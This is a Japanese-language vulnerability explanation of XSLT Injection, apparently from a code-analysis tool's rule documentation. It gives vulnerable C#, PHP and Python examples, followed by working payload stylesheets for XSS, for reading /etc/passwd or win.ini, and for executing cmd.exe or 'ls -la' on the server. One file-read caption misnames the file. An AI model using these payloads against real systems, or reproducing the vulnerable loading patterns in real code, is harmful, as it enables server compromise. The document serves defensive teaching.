XSLT Injection

未検証の XSL スタイルシートを処理することによって、攻撃者が、結果として得られる XML の構造およびコンテンツを改竄したり、ファイルシステムに任意のファイルを挿入したり、任意のコードを実行することを許す可能性があります。

次の場合に XSLT Injection が発生します。

1. 信頼できないソースからデータがプログラムに入り込んだ場合。

2. このデータは、XSL スタイルシートに書き込まれます。


アプリケーションは通常 XSL スタイルシートを使用して XML 文書のフォーマット変換を行います。XSL スタイルシートには変換プロセスを強化する特殊な関数が含まれているので、適切に使用しないと、脆弱性が増加します。

攻撃者が XSL スタイルシート内の XSL 要素に書き込みが可能な場合、XSL スタイルシートおよび処理のセマンティクスが改変される場合があります。攻撃者は XSS (Cross-Site Scripting) 攻撃を仕掛けられるようにスタイルシートの出力を改変し、ローカルファイルシステムのリソースのコンテンツを露出させ、あるいは任意のコードを実行することができます。

例 1: XSLT Injection に対して脆弱なコードの例を次に示します。

  ...
  String xmlUrl = Request["xmlurl"];
  String xslUrl = Request["xslurl"];

  XslCompiledTransform xslt = new XslCompiledTransform();
  xslt.Load(xslUrl);

  xslt.Transform(xmlUrl, "books.html");
  ...
  

攻撃者が特定の XSL を XSTL プロセッサに渡す権限を獲得している場合、Example 1 は次のような 3 種類の結果を引き起こします。

1. XSS:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <script>alert(123)</script>
    </xsl:template>
  </xsl:stylesheet>

  

XSL スタイルシートを処理するとき、<script> タグは対象者のブラウザーでレンダリングされ、Cross-site Scripting 攻撃の実行を許します。

2. サーバーのファイルシステムから任意のファイルを読み込みます。

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    </xsl:template>
  </xsl:stylesheet>

  

上記の XSL スタイルシートは、/etc/passwd ファイルのコンテンツを返します。

3. 任意のコードを実行します。

XSLT プロセッサーは、ネイティブの言語メソッドを XSLT 関数として (それらが無効でない限り) 露出させる機能があります。

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>

  

上記のスタイルシートは、サーバー上で "cmd.exe" コマンドを実行します。

未検証の XSL スタイルシートを処理することによって、攻撃者が、結果として得られる XML の構造およびコンテンツを改竄したり、ファイルシステムに任意のファイルを挿入したり、任意のコードを実行することを許す可能性があります。

次の場合に XSLT Injection が発生します。

1. 信頼できないソースからデータがプログラムに入り込んだ場合。

2. このデータは、XSL スタイルシートに書き込まれます。


アプリケーションは通常 XSL スタイルシートを使用して XML 文書のフォーマット変換を行います。XSL スタイルシートには変換プロセスを強化する特殊な関数が含まれているので、適切に使用しないと、脆弱性が増加します。

攻撃者が XSL スタイルシート内の XSL 要素に書き込みが可能な場合、XSL スタイルシートおよび処理のセマンティクスが改変される場合があります。攻撃者は XSS (Cross-Site Scripting) 攻撃を仕掛けられるようにスタイルシートの出力を改変し、ローカルファイルシステムのリソースのコンテンツを露出させ、あるいは任意のコードを実行することができます。攻撃者がアプリケーションに対して発行されたスタイルシートについて完全な制御権を獲得した場合、攻撃者は XXE (XML External Entity) Injection 攻撃を実行することもできます。

例 1: XSLT Injection に対して脆弱なコードの例を次に示します。

...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...

攻撃者が特定の XSL を XSTL プロセッサに渡す権限を獲得している場合、Example 1 のコードは次のような 3 種類の結果を引き起こします。

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

XSL スタイルシートを処理するとき、<script> タグは対象者のブラウザーでレンダリングされ、Cross-site Scripting 攻撃の実行を許します。

2. サーバーのファイルシステムから任意のファイルを読み込みます。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

上記の XSL スタイルシートは、/etc/passwd ファイルのコンテンツを返します。

3. 任意の PHP コードを実行します。

XSLT プロセッサーは、"registerPHPFunctions" を有効にすることで、ネイティブの PHP 言語メソッドを XSLT 関数として露出させる機能があります。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>

上記のスタイルシートはサーバーで実行される "ls" コマンドの結果を出力します。

未検証の XSL スタイルシートを処理することによって、攻撃者が、結果として得られる XML の構造およびコンテンツを改竄したり、ファイルシステムに任意のファイルを挿入したり、任意のコードを実行することを許す可能性があります。

次の場合に XSLT Injection が発生します。

1. 信頼できないソースからデータがプログラムに入り込んだ場合。

2. このデータは、XSL スタイルシートに書き込まれます。


アプリケーションは通常 XSL スタイルシートを使用して XML 文書のフォーマット変換を行います。XSL スタイルシートには変換プロセスを強化する特殊な関数が含まれているので、適切に使用しないと、脆弱性が増加します。

攻撃者が XSL スタイルシート内の XSL 要素に書き込みが可能な場合、XSL スタイルシートおよび処理のセマンティクスが改変される場合があります。攻撃者は XSS (Cross-Site Scripting) 攻撃を仕掛けられるようにスタイルシートの出力を改変し、ローカルファイルシステムのリソースのコンテンツを露出させ、あるいは任意のコードを実行することができます。

例 1: XSLT Injection に対して脆弱なコードの例を次に示します。

...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...

攻撃者が特定の XSL を XSTL プロセッサに渡す権限を獲得している場合、Example 1 のコードは次のような 3 種類の結果を引き起こします。

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <script>alert(123)</script>
  </xsl:template>
</xsl:stylesheet>

XSL スタイルシートを処理するとき、<script> タグは対象者のブラウザーでレンダリングされ、Cross-site Scripting 攻撃の実行を許します。

2. サーバーのファイルシステムから任意のファイルを読み込みます。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

上記の XSL スタイルシートは、/etc/passwd ファイルのコンテンツを返します。